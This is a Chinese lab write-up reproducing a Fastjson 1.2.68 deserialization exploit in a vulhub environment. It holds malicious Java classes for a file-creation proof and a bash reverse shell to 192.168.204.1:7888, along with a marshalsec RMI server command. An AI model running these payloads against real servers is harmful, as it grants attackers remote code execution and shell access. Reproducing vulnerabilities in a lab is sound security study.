Fastjson1.2.68反序列化复现（文末送书）

利用前提:fastjson <=1.2.68,打开了autotype

搭建环境

使用vul-hub 搭建漏洞环境

访问搭好的环境看到json数据就表示搭建成功

搭建攻击方web环境

假设攻击机为A 被攻击机为B

在A上搭好web服务和rmi服务,并且能够让B访问主机A

恶意类如下,在/tmp下创建success文件夹

代码语言：javascript复制

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
   static {
       try {
           Runtime rt = Runtime.getRuntime();
           String[] commands = {"touch","/tmp/success"};
           Process pc = rt.exec(commands);
           pc.waitFor();
       } catch (Exception e) {
           // do nothing
       }
    }
}

编译好class文件后搭建rmi服务

搭建攻击方RMI服务

搭建rmi服务需要用到marshalsec

代码语言：javascript复制

java -cp marshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.RMIRefServer"http://192.168.204.1/fastjson/#TouchFile" 9999

注:恶意类的class文件前要加#,而且不需要加文件后缀

构造恶意请求

注意红色框重点 RMI服务后面跟A主机开放的域名(ip):端口/恶意类名称

发送恶意请求后,rmi监听的口会收到B主机的连接并读取恶意类,如果没有监听到就代表失败了

响应包如下

查看命令是否被执行

使用docker ps

和 docker exec -it (镜像id) /bin/bash 进入docker搭建好的虚拟机内

发现/tmp/success 创建成功代表恶意类中的代码被成功执行

反弹shell

构建恶意类

代码如下:

代码语言：javascript复制

import java.lang.Runtime;
import java.lang.Process;

public class ReConn{
   static {
       try {
           Runtime rt = Runtime.getRuntime();
           String[] commands = {"/bin/bash","-c","bash -i>& /dev/tcp/192.168.204.1/7888 0>&1"};
           Process pc = rt.exec(commands);
           pc.waitFor();
       } catch (Exception e) {
           // do nothing
       }
    }
}

使用nc监听7888端口